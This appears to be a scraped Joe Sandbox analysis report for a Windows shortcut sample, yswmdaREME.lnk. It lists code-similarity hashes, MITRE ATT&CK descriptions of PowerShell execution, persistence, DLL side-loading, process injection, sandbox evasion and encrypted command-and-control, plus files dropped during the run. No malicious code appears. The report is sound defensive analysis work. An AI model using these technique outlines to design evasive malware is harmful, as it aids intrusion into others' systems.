API ID:
String ID:
API String ID:
Opcode ID: b9f49d9e52a97f193b090973eebaf5ce809b6a63c7616b60531a582e32c8cae5
Instruction ID: fc704b6dc1567a86b34895ec34dc43354c911c94cd2179127e5398a944ae15ad
Opcode Fuzzy Hash: b9f49d9e52a97f193b090973eebaf5ce809b6a63c7616b60531a582e32c8cae5
Instruction Fuzzy Hash: 8311512650E7D58FE717972DA8A60E47FA0DF4323471842FBD1C9CA0A3D81A984FC396

Function 00007FFAAC5A33B5 Relevance: .0, Instructions: 49COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1404266108.00007FFAAC5A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 00007FFAAC5A0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ffaac5a0000_powershell.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction ID: 17302f02100e042e775f8c479ef8fc3f79d1b0800815a9ab55274fce78478d2f
Opcode Fuzzy Hash: 5e0cd8e44b86cda1606cdcda3d5cd9c82b965f1b77ca43a9ede1ee8a995a9426
Instruction Fuzzy Hash: 7F01677115CB0D8FD744EF0CE451AA5B7E0FB99364F10056EE58AC3661DA36E882CB45

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may achieve persistence by adding a program to a startup folder or referencing it with a Registry run key. Adding an entry to the "run keys" in the Registry or startup folder will cause the program referenced to be executed when a user logs in.These programs will be executed under the context of the user and will have the account's associated permissions level.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, File: File Modification, Process: Process Creation, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report yswmdaREME.lnk

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Other

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Networking

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\7900e98b-f38c-489a-b5ad-b8804fd76fc2.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ConnectorIcons\icon-241219120158Z-209.bmp

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Windows Analysis Report
yswmdaREME.lnk